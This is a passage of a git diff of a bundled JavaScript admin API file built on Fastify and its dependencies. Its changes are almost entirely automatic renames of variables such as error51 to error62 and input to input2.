++++++++++++++++++++-------- pnpm-lock.yaml | 4 +- services/admin/package.json | 2 +- 12 files changed, 81492 insertions(+), 29512 deletions(-) diff --git a/api/admin/index.js b/api/admin/index.js index 67a5a48..b0b94ab 100644 --- a/api/admin/index.js +++ b/api/admin/index.js @@ -1540,12 +1540,12 @@ var require_sonic_boom = __commonJS({ throw new Error("flush cb must be a function"); } if (this.destroyed) { - const error51 = new Error("SonicBoom destroyed"); + const error62 = new Error("SonicBoom destroyed"); if (cb) { - cb(error51); + cb(error62); return; } - throw error51; + throw error62; } if (this.minLength <= 0) { cb?.(); @@ -1567,12 +1567,12 @@ var require_sonic_boom = __commonJS({ throw new Error("flush cb must be a function"); } if (this.destroyed) { - const error51 = new Error("SonicBoom destroyed"); + const error62 = new Error("SonicBoom destroyed"); if (cb) { - cb(error51); + cb(error62); return; } - throw error51; + throw error62; } if (this.minLength <= 0) { cb?.(); @@ -2234,11 +2234,11 @@ var require_thread_stream = __commonJS({ write(data) { const dataBuf = Buffer.isBuffer(data) ? data : Buffer.from(data); if (this[kImpl].destroyed) { - error51(this, new Error("the worker has exited")); + error62(this, new Error("the worker has exited")); return false; } if (this[kImpl].ending) { - error51(this, new Error("the worker is ending")); + error62(this, new Error("the worker is ending")); return false; } if (this[kImpl].flushing && this[kImpl].bufLen + dataBuf.length >= MAX_STRING) { @@ -2399,7 +2399,7 @@ var require_thread_stream = __commonJS({ } callbacks.clear(); } - function error51(stream, err) { + function error62(stream, err) { setImmediate(() => { stream.emit("error", err); }); @@ -2412,7 +2412,7 @@ var require_thread_stream = __commonJS({ failPendingFlushCallbacks(stream, err); if (err) { stream[kImpl].errored = err; - error51(stream, err); + error62(stream, err); } if (!stream.worker.exited) { stream.worker.terminate().catch(() => { @@ -5490,9 +5490,9 @@ var require_cors = __commonJS({ addOriginToVaryHeader(reply); } const resolveOriginOption = typeof options.origin === "function" ? resolveOriginWrapper(fastify, options.origin) : (_, cb) => cb(null, options.origin); - resolveOriginOption(req, (error51, resolvedOriginOption) => { - if (error51 !== null) { - return next(error51); + resolveOriginOption(req, (error62, resolvedOriginOption) => { + if (error62 !== null) { + return next(error62); } if (resolvedOriginOption === false) { return next(); @@ -5908,8 +5908,8 @@ var require_ipv4 = __commonJS({ * Address4.fromWildcard('192.168.*.*').subnet; // '/16' * Address4.fromWildcard('*.*.*.*').subnet; // '/0' */ - static fromWildcard(input) { - const groups = input.split("."); + static fromWildcard(input2) { + const groups = input2.split("."); if (groups.length !== constants.GROUPS) { throw new address_error_1.AddressError("Wildcard pattern must have 4 octets"); } @@ -5996,12 +5996,12 @@ var require_ipv4 = __commonJS({ * @returns {String} */ toGroup6() { - const output = []; + const output2 = []; let i; for (i = 0; i < constants.GROUPS; i += 2) { - output.push(`${common.stringToPaddedHex(this.parsedAddress[i])}${common.stringToPaddedHex(this.parsedAddress[i + 1])}`); + output2.push(`${common.stringToPaddedHex(this.parsedAddress[i])}${common.stringToPaddedHex(this.parsedAddress[i + 1])}`); } - return output.join(":"); + return output2.join(":"); } /** * Returns the address as a `bigint` @@ -6717,21 +6717,21 @@ var require_ipv6 = __commonJS({ let host; let port = null; let result; - let error51; + let error62; const stripped = url2.replace(/^[a-z][a-z0-9+.-]*:\/\//i, ""); if (stripped.indexOf("[") !== -1 && stripped.indexOf("]:") !== -1) { - error51 = "failed to parse address with port"; + error62 = "failed to parse address with port"; result = constants6.RE_URL_WITH_PORT.exec(stripped); if (result === null) { - return { error: error51, address: null, port: null }; + return { error: error62, address: null, port: null }; } host = result[1]; port = result[2]; } else { - error51 = "failed to parse address from URL"; + error62 = "failed to parse address from URL"; result = constants6.RE_URL.exec(stripped); if (result === null) { - return { error: error51, address: null, port: null }; + return { error: error62, address: null, port: null }; } host = (_a3 = result[1]) !== null && _a3 !== void 0 ? _a3 : result[2]; } @@ -6747,7 +6747,7 @@ var require_ipv6 = __commonJS({ try { address = new _Address6(host); } catch { - return { error: error51, address: null, port: null }; + return { error: error62, address: null, port: null }; } return { address, port }; } @@ -6794,11 +6794,11 @@ var require_ipv6 = __commonJS({ * Address6.fromWildcard('2001:db8::*').subnet; // '/112' * Address6.fromWildcard('*:*:*:*:*:*:*:*').subnet; // '/0' */ - static fromWildcard(input) { - if (input.includes("%") || input.includes("/")) { + static fromWildcard(input2) { + if (input2.includes("%") || input2.includes("/")) { throw new address_error_1.AddressError("Wildcard pattern must not include a zone or CIDR suffix"); } - const halves = input.split("::"); + const halves = input2.split("::"); if (halves.length > 2) { throw new address_error_1.AddressError("Wildcard pattern cannot contain more than one '::'"); } @@ -6812,7 +6812,7 @@ var require_ipv6 = __commonJS({ } groups = [...left, ...new Array(remaining).fill("0"), ...right]; } else { - groups = input.split(":"); + groups = input2.split(":"); } if (groups.length !== constants6.GROUPS) { throw new address_error_1.AddressError("Wildcard pattern must have 8 groups"); @@ -7783,29 +7783,29 @@ var require_ipv6 = __commonJS({ } assert2(typeof this.elidedGroups === "number"); assert2(typeof this.elisionBegin === "number"); - const output = []; + const output2 = []; const [left, right] = this.addressMinusSuffix.split("::"); if (left.length) { - output.push(...helpers.simpleGroup(left)); + output2.push(...helpers.simpleGroup(left)); } else { - output.push(""); + output2.push(""); } const classes = ["hover-group"]; for (let i = this.elisionBegin; i < this.elisionBegin + this.elidedGroups; i++) { classes.push(`group-${i}`); } - output.push(``); + output2.push(``); if (right.length) { - output.push(...helpers.simpleGroup(right, this.elisionEnd)); + output2.push(...helpers.simpleGroup(right, this.elisionEnd)); } else { - output.push(""); + output2.push(""); } if (this.is4()) { assert2(this.address4 instanceof ipv4_1.Address4); - output.pop(); - output.push(this.address4.groupForV6()); + output2.pop(); + output2.push(this.address4.groupForV6()); } - return output.join(":"); + return output2.join(":"); } // #endregion // #region Regular expressions @@ -7816,36 +7816,36 @@ var require_ipv6 = __commonJS({ * @returns {string} */ regularExpressionString(substringSearch = false) { - let output = []; + let output2 = []; const address6 = new _Address6(this.correctForm()); if (address6.elidedGroups === 0) { - output.push((0, regular_expressions_1.simpleRegularExpression)(address6.parsedAddress)); + output2.push((0, regular_expressions_1.simpleRegularExpression)(address6.parsedAddress)); } else if (address6.elidedGroups === constants6.GROUPS) { - output.push((0, regular_expressions_1.possibleElisions)(constants6.GROUPS)); + output2.push((0, regular_expressions_1.possibleElisions)(constants6.GROUPS)); } else { const halves = address6.address.split("::"); if (halves[0].length) { - output.push((0, regular_expressions_1.simpleRegularExpression)(halves[0].split(":"))); + output2.push((0, regular_expressions_1.simpleRegularExpression)(halves[0].split(":"))); } assert2(typeof address6.elidedGroups === "number"); - output.push((0, regular_expressions_1.possibleElisions)(address6.elidedGroups, halves[0].length !== 0, halves[1].length !== 0)); + output2.push((0, regular_expressions_1.possibleElisions)(address6.elidedGroups, halves[0].length !== 0, halves[1].length !== 0)); if (halves[1].length) { - output.push((0, regular_expressions_1.simpleRegularExpression)(halves[1].split(":"))); + output2.push((0, regular_expressions_1.simpleRegularExpression)(halves[1].split(":"))); } - output = [output.join(":")]; + output2 = [output2.join(":")]; } if (!substringSearch) { - output = [ + output2 = [ "(?=^|", regular_expressions_1.ADDRESS_BOUNDARY, "|[^\\w\\:])(", - ...output, + ...output2, ")(?=[^\\w\\:]|", regular_expressions_1.ADDRESS_BOUNDARY, "|$)" ]; } - return output.join(""); + return output2.join(""); } /** * Generate a regular expression that can be used to find or validate all @@ -8516,7 +8516,7 @@ var require_queue = __commonJS({ empty: noop3, kill, killAndDrain, - error: error51, + error: error62, abort }; return self2; @@ -8659,7 +8659,7 @@ var require_queue = __commonJS({ } self2.drain = noop3; } - function error51(handler) { + function error62(handler) { errorHandler = handler; } } @@ -8927,23 +8927,23 @@ var require_time_tree = __commonJS({ /** * @param {TimeTreeNode} node */ - [kTrackNode](node) { - this.tableId.set(node.id, node); - if (this.tableLabel.has(node.label)) { - this.tableLabel.get(node.label).push(node); + [kTrackNode](node2) { + this.tableId.set(node2.id, node2); + if (this.tableLabel.has(node2.label)) { + this.tableLabel.get(node2.label).push(node2); } else { - this.tableLabel.set(node.label, [node]); + this.tableLabel.set(node2.label, [node2]); } } /** * @param {TimeTreeNode} node */ - [kUntrackNode](node) { - this.tableId.delete(node.id); - const labelNode = this.tableLabel.get(node.label); + [kUntrackNode](node2) { + this.tableId.delete(node2.id); + const labelNode = this.tableLabel.get(node2.label); labelNode.pop(); if (labelNode.length === 0) { - this.tableLabel.delete(node.label); + this.tableLabel.delete(node2.label); } } /** @@ -9018,11 +9018,11 @@ var require_time_tree = __commonJS({ * @param {number|undefined} stop */ stop(nodeId, stop = Date.now()) { - const node = this[kGetNode](nodeId); - if (node) { - node.stop = stop; - node.diff = node.stop - node.start || 0; - this[kUntrackNode](node); + const node2 = this[kGetNode](nodeId); + if (node2) { + node2.stop = stop; + node2.diff = node2.stop - node2.start || 0; + this[kUntrackNode](node2); } } /** @@ -9045,12 +9045,12 @@ var require_time_tree = __commonJS({ result += `${obj.label} ${obj.diff} ms `; for (let i = 0; i < nodesCount; ++i) { - const node = obj.nodes[i]; + const node2 = obj.nodes[i]; const prefix_ = prefix + (i === lastIndex ? " " : "\u2502 "); result += prefix; result += i === lastIndex ? "\u2514\u2500" : "\u251C\u2500"; - result += node.nodes.length === 0 ? "\u2500 " : "\u252C "; - result += prettyPrintTimeTree(node, prefix_).slice(prefix.length + 2); + result += node2.nodes.length === 0 ? "\u2500 " : "\u252C "; + result += prettyPrintTimeTree(node2, prefix_).slice(prefix.length + 2); } return result; } @@ -9376,14 +9376,14 @@ var require_execute_with_thenable = __commonJS({ let result; try { result = func.apply(func, args); - } catch (error51) { + } catch (error62) { if (callback) { - process.nextTick(callback, error51); + process.nextTick(callback, error62); } return; } if (isPromiseLike(result) && !result[kAvvio]) { - result.then(() => process.nextTick(callback), (error51) => process.nextTick(callback, error51)); + result.then(() => process.nextTick(callback), (error62) => process.nextTick(callback, error62)); } else if (callback) { process.nextTick(callback); } @@ -10812,8 +10812,8 @@ var require_hooks = __commonJS({ if (fn.length === 1) { try { fn.call(server2, done); - } catch (error51) { - done(error51); + } catch (error62) { + done(error62); } return; } @@ -10823,8 +10823,8 @@ var require_hooks = __commonJS({ ret2.then(done, done); return; } - } catch (error51) { - err = error51; + } catch (error62) { + err = error62; } done(err); }; @@ -10863,8 +10863,8 @@ var require_hooks = __commonJS({ return; } done(); - } catch (error51) { - done(error51); + } catch (error62) { + done(error62); } } } @@ -10879,8 +10879,8 @@ var require_hooks = __commonJS({ let result; try { result = iterator(functions[i++], request, reply, next); - } catch (error51) { - cb(error51, request, reply); + } catch (error62) { + cb(error62, request, reply); return; } if (result && typeof result.then === "function") { @@ -10924,8 +10924,8 @@ var require_hooks = __commonJS({ let result; try { result = functions[i++](request, reply, payload, next); - } catch (error51) { - cb(error51, request, reply); + } catch (error62) { + cb(error62, request, reply); return; } if (result && typeof result.then === "function") { @@ -10964,8 +10964,8 @@ var require_hooks = __commonJS({ let result; try { result = functions[i++](request, reply, request[kRequestPayloadStream], next); - } catch (error51) { - cb(error51, request, reply); + } catch (error62) { + cb(error62, request, reply); return; } if (result && typeof result.then === "function") { @@ -10993,8 +10993,8 @@ var require_hooks = __commonJS({ let result; try { result = functions[i++](request, next); - } catch (error51) { - cb(error51, request); + } catch (error62) { + cb(error62, request); return; } if (result && typeof result.then === "function") { @@ -11506,7 +11506,7 @@ var require_validation = __commonJS({ FST_ERR_SCH_RESPONSE_SCHEMA_NOT_NESTED_2XX } = require_errors2(); var { FSTWRN001, FSTSEC002 } = require_warnings(); - function compileSchemasForSerialization(context2, compile) { + function compileSchemasForSerialization(context2, compile2) { if (!context2.schema || !context2.schema.response) { return; } @@ -11521,7 +11521,7 @@ var require_validation = __commonJS({ const contentTypesSchemas = {}; for (const mediaName of Object.keys(schema.content)) { const contentSchema = schema.content[mediaName].schema; - contentTypesSchemas[mediaName] = compile({ + contentTypesSchemas[mediaName] = compile2({ schema: contentSchema, url: url2, method, @@ -11531,7 +11531,7 @@ var require_validation = __commonJS({ } acc[statusCode] = contentTypesSchemas; } else { - acc[statusCode] = compile({ + acc[statusCode] = compile2({ schema, url: url2, method, @@ -11670,7 +11670,7 @@ var require_validation = __commonJS({ } return void 0; } - function compileSchemasForValidation(context2, compile, isCustom) { + function compileSchemasForValidation(context2, compile2, isCustom) { const { schema } = context2; if (!schema) { return; @@ -11679,14 +11679,14 @@ var require_validation = __commonJS({ const headers = schema.headers; if (headers !== void 0) { if (isCustom || typeof headers !== "object" || headers === null || Object.getPrototypeOf(headers) !== Object.prototype) { - context2[headersSchema] = compile({ schema: headers, method, url: url2, httpPart: "headers" }); + context2[headersSchema] = compile2({ schema: headers, method, url: url2, httpPart: "headers" }); } else { const headersSchemaLowerCase = lowerCaseHeadersSchema(headers); const externalRef = findExternalHeaderRef(headers); if (externalRef !== void 0) { FSTSEC002(method, url2, externalRef); } - context2[headersSchema] = compile({ schema: headersSchemaLowerCase, method, url: url2, httpPart: "headers" }); + context2[headersSchema] = compile2({ schema: headersSchemaLowerCase, method, url: url2, httpPart: "headers" }); } } else if (Object.hasOwn(schema, "headers")) { FSTWRN001("headers", method, url2); @@ -11697,22 +11697,22 @@ var require_validation = __commonJS({ const contentTypeSchemas = {}; for (const contentType of Object.keys(contentProperty)) { const contentSchema = contentProperty[contentType].schema; - contentTypeSchemas[contentType] = compile({ schema: contentSchema, method, url: url2, httpPart: "body", contentType }); + contentTypeSchemas[contentType] = compile2({ schema: contentSchema, method, url: url2, httpPart: "body", contentType }); } context2[bodySchema] = contentTypeSchemas; } else { - context2[bodySchema] = compile({ schema: schema.body, method, url: url2, httpPart: "body" }); + context2[bodySchema] = compile2({ schema: schema.body, method, url: url2, httpPart: "body" }); } } else if (Object.hasOwn(schema, "body")) { FSTWRN001("body", method, url2); } if (schema.querystring !== void 0) { - context2[querystringSchema] = compile({ schema: schema.querystring, method, url: url2, httpPart: "querystring" }); + context2[querystringSchema] = compile2({ schema: schema.querystring, method, url: url2, httpPart: "querystring" }); } else if (Object.hasOwn(schema, "querystring")) { FSTWRN001("querystring", method, url2); } if (schema.params !== void 0) { - context2[paramsSchema] = compile({ schema: schema.params, method, url: url2, httpPart: "params" }); + context2[paramsSchema] = compile2({ schema: schema.params, method, url: url2, httpPart: "params" }); } else if (Object.hasOwn(schema, "params")) { FSTWRN001("params", method, url2); } @@ -11750,7 +11750,7 @@ var require_validation = __commonJS({ return false; } } - function validate(context2, request, execution) { + function validate2(context2, request, execution) { const runExecution = execution === void 0; if (runExecution && context2[paramsSchema] === void 0 && context2[bodySchema] === void 0 && context2[querystringSchema] === void 0 && context2[headersSchema] === void 0) { return false; @@ -11809,7 +11809,7 @@ var require_validation = __commonJS({ if (paramsResult) { return wrapValidationError(paramsResult, "params", context2.schemaErrorFormatter); } - return validate(context2, request, { skipParams: true }); + return validate2(context2, request, { skipParams: true }); }); } function validateAsyncBody(validatePromise, context2, request) { @@ -11817,7 +11817,7 @@ var require_validation = __commonJS({ if (bodyResult) { return wrapValidationError(bodyResult, "body", context2.schemaErrorFormatter); } - return validate(context2, request, { skipParams: true, skipBody: true }); + return validate2(context2, request, { skipParams: true, skipBody: true }); }); } function validateAsyncQuery(validatePromise, context2, request) { @@ -11825,7 +11825,7 @@ var require_validation = __commonJS({ if (queryResult) { return wrapValidationError(queryResult, "querystring", context2.schemaErrorFormatter); } - return validate(context2, request, { skipParams: true, skipBody: true, skipQuery: true }); + return validate2(context2, request, { skipParams: true, skipBody: true, skipQuery: true }); }); } function validateAsyncHeaders(validatePromise, context2, request) { @@ -11843,18 +11843,18 @@ var require_validation = __commonJS({ result.validationContext = result.validationContext || dataVar; return result; } - const error51 = schemaErrorFormatter(result, dataVar); - error51.statusCode = error51.statusCode || 400; - error51.code = error51.code || "FST_ERR_VALIDATION"; - error51.validation = result; - error51.validationContext = dataVar; - return error51; + const error62 = schemaErrorFormatter(result, dataVar); + error62.statusCode = error62.statusCode || 400; + error62.code = error62.code || "FST_ERR_VALIDATION"; + error62.validation = result; + error62.validationContext = dataVar; + return error62; } module.exports = { symbols: { bodySchema, querystringSchema, responseSchema, paramsSchema, headersSchema }, compileSchemasForValidation, compileSchemasForSerialization, - validate + validate: validate2 }; } }); @@ -13532,15 +13532,15 @@ var require_rfdc = __commonJS({ var require_initial_config_validation = __commonJS({ "node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/initial-config-validation.js"(exports, module) { "use strict"; - var validate = require_config_validator(); + var validate2 = require_config_validator(); var deepClone = require_rfdc()({ circles: true, proto: false }); var { FST_ERR_INIT_OPTS_INVALID } = require_errors2(); function validateInitialConfig(options) { const opts = deepClone(options); - if (!validate(opts)) { - const error51 = new FST_ERR_INIT_OPTS_INVALID(JSON.stringify(validate.errors.map((e) => e.message))); - error51.errors = validate.errors; - throw error51; + if (!validate2(opts)) { + const error62 = new FST_ERR_INIT_OPTS_INVALID(JSON.stringify(validate2.errors.map((e) => e.message))); + error62.errors = validate2.errors; + throw error62; } return deepFreezeObject(opts); } @@ -13556,7 +13556,7 @@ var require_initial_config_validation = __commonJS({ return Object.freeze(object2); } module.exports = validateInitialConfig; - module.exports.defaultInitOptions = validate.defaultInitOptions; + module.exports.defaultInitOptions = validate2.defaultInitOptions; module.exports.utils = { deepFreezeObject }; } }); @@ -13612,12 +13612,12 @@ var require_log_controller = __commonJS({ * @param {object} reply Fastify reply object. * @param {object} [metadata] Extra contextual data (unused). */ - requestCompleted(error51, request, reply, metadata) { + requestCompleted(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } - if (error51) { - reply.log.error({ res: reply, err: error51, responseTime: reply.elapsedTime }, "request errored"); + if (error62) { + reply.log.error({ res: reply, err: error62, responseTime: reply.elapsedTime }, "request errored"); } else { reply.log.info({ res: reply, responseTime: reply.elapsedTime }, "request completed"); } @@ -13631,14 +13631,14 @@ var require_log_controller = __commonJS({ * @param {object} reply Fastify reply object (must have `statusCode`). * @param {object} [metadata] Extra contextual data (unused). */ - defaultErrorLog(error51, request, reply, metadata) { + defaultErrorLog(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } if (reply.statusCode >= 500) { - reply.log.error({ req: request, res: reply, err: error51 }, error51?.message); + reply.log.error({ req: request, res: reply, err: error62 }, error62?.message); } else { - reply.log.info({ res: reply, err: error51 }, error51?.message); + reply.log.info({ res: reply, err: error62 }, error62?.message); } } /** @@ -13650,14 +13650,14 @@ var require_log_controller = __commonJS({ * @param {object} reply Fastify reply object. * @param {object} [metadata] Extra contextual data (unused). */ - streamError(error51, request, reply, metadata) { + streamError(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } - if (error51.code === "ERR_STREAM_PREMATURE_CLOSE") { + if (error62.code === "ERR_STREAM_PREMATURE_CLOSE") { reply.log.info({ res: reply }, "stream closed prematurely"); } else { - reply.log.warn({ err: error51 }, "response terminated with an error with headers already sent"); + reply.log.warn({ err: error62 }, "response terminated with an error with headers already sent"); } } /** @@ -13683,13 +13683,13 @@ var require_log_controller = __commonJS({ * @param {object} reply Fastify reply object. * @param {object} [metadata] Extra contextual data (unused). */ - writeHeadError(error51, request, reply, metadata) { + writeHeadError(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } reply.log.warn( - { req: request, res: reply, err: error51 }, - error51?.message + { req: request, res: reply, err: error62 }, + error62?.message ); } /** @@ -13701,11 +13701,11 @@ var require_log_controller = __commonJS({ * @param {object} metadata Extra contextual data. * @param {number} metadata.statusCode The status code that triggered the serializer. */ - serializerError(error51, request, reply, metadata) { + serializerError(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } - reply.log.error({ err: error51, statusCode: metadata.statusCode }, "The serializer for the given status code failed"); + reply.log.error({ err: error62, statusCode: metadata.statusCode }, "The serializer for the given status code failed"); } /** * Logs a 503 Service Unavailable when the server is closing. @@ -14223,8 +14223,8 @@ var require_error_serializer = __commonJS({ const JSON_STR_EMPTY_ARRAY = JSON_STR_BEGIN_ARRAY + JSON_STR_END_ARRAY; const JSON_STR_EMPTY_STRING = JSON_STR_QUOTE + JSON_STR_QUOTE; const JSON_STR_NULL = "null"; - function anonymous0(input) { - const obj = input && typeof input.toJSON === "function" ? input.toJSON() : input; + function anonymous0(input2) { + const obj = input2 && typeof input2.toJSON === "function" ? input2.toJSON() : input2; if (obj === null) return JSON_STR_EMPTY_OBJECT; let json3 = ""; json3 += JSON_STR_BEGIN_OBJECT; @@ -14325,15 +14325,15 @@ var require_error_handler = __commonJS({ return this.func.name.toString() + "()"; } }; - function handleError(reply, error51, cb) { + function handleError(reply, error62, cb) { reply[kReplyIsRunningOnErrorHook] = false; const context2 = reply[kRouteContext]; if (reply[kReplyNextErrorHandler] === false) { - fallbackErrorHandler(error51, reply, function(reply2, payload) { + fallbackErrorHandler(error62, reply, function(reply2, payload) { try { reply2.raw.writeHead(reply2.raw.statusCode, reply2[kReplyHeaders]); - } catch (error52) { - reply2.server[kLogController].writeHeadError(error52, reply2.request, reply2); + } catch (error63) { + reply2.server[kLogController].writeHeadError(error63, reply2.request, reply2); reply2.raw.writeHead(reply2.raw.statusCode); } reply2.raw.end(payload); @@ -14347,11 +14347,11 @@ var require_error_handler = __commonJS({ const func = errorHandler.func; if (!func) { reply[kReplyNextErrorHandler] = false; - fallbackErrorHandler(error51, reply, cb); + fallbackErrorHandler(error62, reply, cb); return; } try { - const result = func(error51, reply.request, reply); + const result = func(error62, reply.request, reply); if (result !== void 0) { if (result !== null && typeof result.then === "function") { const store = reply[kDiagnosticsStore] || null; @@ -14364,13 +14364,13 @@ var require_error_handler = __commonJS({ reply.send(err); } } - function defaultErrorHandler(error51, request, reply) { - setErrorHeaders(error51, reply); - setErrorStatusCode(reply, error51); - request.server[kLogController].defaultErrorLog(error51, request, reply); - reply.send(error51); + function defaultErrorHandler(error62, request, reply) { + setErrorHeaders(error62, reply); + setErrorStatusCode(reply, error62); + request.server[kLogController].defaultErrorLog(error62, request, reply); + reply.send(error62); } - function fallbackErrorHandler(error51, reply, cb) { + function fallbackErrorHandler(error62, reply, cb) { const res = reply.raw; const statusCode = reply.statusCode; reply[kReplyHeaders]["content-type"] = reply[kReplyHeaders]["content-type"] ?? "application/json; charset=utf-8"; @@ -14380,21 +14380,21 @@ var require_error_handler = __commonJS({ if (serializerFn === false) { payload = serializeError({ error: statusCodes[statusCode + ""], - code: error51.code, - message: error51.message, + code: error62.code, + message: error62.message, statusCode }); } else { - payload = serializerFn(Object.create(error51, { + payload = serializerFn(Object.create(error62, { error: { value: statusCodes[statusCode + ""] }, - message: { value: error51.message }, + message: { value: error62.message }, statusCode: { value: statusCode } })); } } catch (err) { reply.server[kLogController].serializerError(err, reply.request, reply, { statusCode: res.statusCode }); reply.code(500); - payload = serializeError(new FST_ERR_FAILED_ERROR_SERIALIZATION(err.message, error51.message)); + payload = serializeError(new FST_ERR_FAILED_ERROR_SERIALIZATION(err.message, error62.message)); } if (typeof payload !== "string" && !Buffer.isBuffer(payload)) { payload = serializeError(new FST_ERR_REP_INVALID_PAYLOAD_TYPE(typeof payload)); @@ -14410,18 +14410,18 @@ var require_error_handler = __commonJS({ errorHandler.func = func; return errorHandler; } - function setErrorHeaders(error51, reply) { + function setErrorHeaders(error62, reply) { const res = reply.raw; let statusCode = res.statusCode; statusCode = statusCode >= 400 ? statusCode : 500; - if (error51 != null) { - if (error51.headers !== void 0) { - reply.headers(error51.headers); + if (error62 != null) { + if (error62.headers !== void 0) { + reply.headers(error62.headers); } - if (error51.status >= 400) { - statusCode = error51.status; - } else if (error51.statusCode >= 400) { - statusCode = error51.statusCode; + if (error62.status >= 400) { + statusCode = error62.status; + } else if (error62.statusCode >= 400) { + statusCode = error62.statusCode; } } res.statusCode = statusCode; @@ -14906,7 +14906,7 @@ var require_reply = __commonJS({ this[kRouteContext][kReplyCacheSerializeFns].set(schema, serializeFn); return serializeFn; }; - Reply.prototype.serializeInput = function(input, schema, httpStatus, contentType) { + Reply.prototype.serializeInput = function(input2, schema, httpStatus, contentType) { const possibleContentType = httpStatus; let serialize2; httpStatus = typeof schema === "string" || typeof schema === "number" ? schema : httpStatus; @@ -14928,7 +14928,7 @@ var require_reply = __commonJS({ serialize2 = this.compileSerializationSchema(schema, httpStatus, contentType); } } - return serialize2(input); + return serialize2(input2); }; Reply.prototype.serialize = function(payload) { if (this[kReplySerializer] !== null) { @@ -15019,8 +15019,8 @@ var require_reply = __commonJS({ } onSendHook(reply, payload); } - function wrapSerializationError(error51, reply) { - error51.serialization = reply[kRouteContext].config; + function wrapSerializationError(error62, reply) { + error62.serialization = reply[kRouteContext].config; } function onSendHook(reply, payload) { if (reply[kRouteContext].onSend !== null) { @@ -15318,18 +15318,18 @@ var require_reply = __commonJS({ if (reply[kReplyTrailers] === null) return; payload.on("end", () => sendTrailer(null, res, reply)); } - function onErrorHook(reply, error51, cb) { + function onErrorHook(reply, error62, cb) { if (reply[kRouteContext].onError !== null && !reply[kReplyNextErrorHandler]) { reply[kReplyIsRunningOnErrorHook] = true; onSendHookRunner( reply[kRouteContext].onError, reply.request, reply, - error51, - () => handleError(reply, error51, cb) + error62, + () => handleError(reply, error62, cb) ); } else { - handleError(reply, error51, cb); + handleError(reply, error62, cb); } } function setupResponseListeners(reply) { @@ -16292,7 +16292,7 @@ var require_proxy_addr = __commonJS({ module.exports.default = proxyaddr; module.exports.proxyaddr = proxyaddr; module.exports.all = alladdrs; - module.exports.compile = compile; + module.exports.compile = compile2; var forwarded = require_forwarded(); var ipaddr = require_ipaddr(); var DIGIT_REGEXP = /^\d+$/u; @@ -16309,7 +16309,7 @@ var require_proxy_addr = __commonJS({ return addrs; } if (typeof trust !== "function") { - trust = compile(trust); + trust = compile2(trust); } for (let i = 0; i < addrs.length - 1; i++) { if (trust(addrs[i], i)) continue; @@ -16317,7 +16317,7 @@ var require_proxy_addr = __commonJS({ } return addrs; } - function compile(val) { + function compile2(val) { if (!val) { throw new TypeError("argument is required"); } @@ -16758,24 +16758,24 @@ var require_request = __commonJS({ } }, validateInput: { - value: function(input, schema, httpPart) { + value: function(input2, schema, httpPart) { httpPart = typeof schema === "string" ? schema : httpPart; const symbol2 = httpPart != null && typeof httpPart === "string" && HTTP_PART_SYMBOL_MAP[httpPart]; - let validate; + let validate2; if (symbol2) { - validate = this[kRouteContext][symbol2]; + validate2 = this[kRouteContext][symbol2]; } - if (validate == null && (schema == null || typeof schema !== "object" || Array.isArray(schema))) { + if (validate2 == null && (schema == null || typeof schema !== "object" || Array.isArray(schema))) { throw new FST_ERR_REQ_INVALID_VALIDATION_INVOCATION(httpPart); } - if (validate == null) { + if (validate2 == null) { if (this[kRouteContext][kRequestCacheValidateFns]?.has(schema)) { - validate = this[kRouteContext][kRequestCacheValidateFns].get(schema); + validate2 = this[kRouteContext][kRequestCacheValidateFns].get(schema); } else { - validate = this.compileValidationSchema(schema, httpPart); + validate2 = this.compileValidationSchema(schema, httpPart); } } - return validate(input); + return validate2(input2); } }, getDecorator: { @@ -16896,7 +16896,7 @@ var require_secure_json_parse = __commonJS({ var hasBuffer = typeof Buffer !== "undefined"; var suspectProtoRx = /"(?:_|\\u005[Ff])(?:_|\\u005[Ff])(?:p|\\u0070)(?:r|\\u0072)(?:o|\\u006[Ff])(?:t|\\u0074)(?:o|\\u006[Ff])(?:_|\\u005[Ff])(?:_|\\u005[Ff])"\s*:/; var suspectConstructorRx = /"(?:c|\\u0063)(?:o|\\u006[Ff])(?:n|\\u006[Ee])(?:s|\\u0073)(?:t|\\u0074)(?:r|\\u0072)(?:u|\\u0075)(?:c|\\u0063)(?:t|\\u0074)(?:o|\\u006[Ff])(?:r|\\u0072)"\s*:/; - function _parse2(text2, reviver, options) { + function _parse3(text2, reviver, options) { if (options == null) { if (reviver !== null && typeof reviver === "object") { options = reviver; @@ -16938,25 +16938,25 @@ var require_secure_json_parse = __commonJS({ while (next.length) { const nodes = next; next = []; - for (const node of nodes) { - if (protoAction !== "ignore" && Object.prototype.hasOwnProperty.call(node, "__proto__")) { + for (const node2 of nodes) { + if (protoAction !== "ignore" && Object.prototype.hasOwnProperty.call(node2, "__proto__")) { if (safe === true) { return null; } else if (protoAction === "error") { throw new SyntaxError("Object contains forbidden prototype property"); } - delete node.__proto__; + delete node2.__proto__; } - if (constructorAction !== "ignore" && Object.prototype.hasOwnProperty.call(node, "constructor") && node.constructor !== null && typeof node.constructor === "object" && Object.prototype.hasOwnProperty.call(node.constructor, "prototype")) { + if (constructorAction !== "ignore" && Object.prototype.hasOwnProperty.call(node2, "constructor") && node2.constructor !== null && typeof node2.constructor === "object" && Object.prototype.hasOwnProperty.call(node2.constructor, "prototype")) { if (safe === true) { return null; } else if (constructorAction === "error") { throw new SyntaxError("Object contains forbidden prototype property"); } - delete node.constructor; + delete node2.constructor; } - for (const key in node) { - const value = node[key]; + for (const key in node2) { + const value = node2[key]; if (value && typeof value === "object") { next.push(value); } @@ -16969,7 +16969,7 @@ var require_secure_json_parse = __commonJS({ const { stackTraceLimit } = Error; Error.stackTraceLimit = 0; try { - return _parse2(text2, reviver, options); + return _parse3(text2, reviver, options); } finally { Error.stackTraceLimit = stackTraceLimit; } @@ -16978,7 +16978,7 @@ var require_secure_json_parse = __commonJS({ const { stackTraceLimit } = Error; Error.stackTraceLimit = 0; try { - return _parse2(text2, reviver, { safe: true }); + return _parse3(text2, reviver, { safe: true }); } catch { return void 0; } finally { @@ -17163,8 +17163,8 @@ var require_content_type_parser = __commonJS({ return; } const resource = new AsyncResource("content-type-parser:run", request); - function done(error51, body) { - resource.runInAsyncScope(onDone, void 0, error51, body); + function done(error62, body) { + resource.runInAsyncScope(onDone, void 0, error62, body); } if (parser.asString === true || parser.asBuffer === true) { rawBody( @@ -17182,12 +17182,12 @@ var 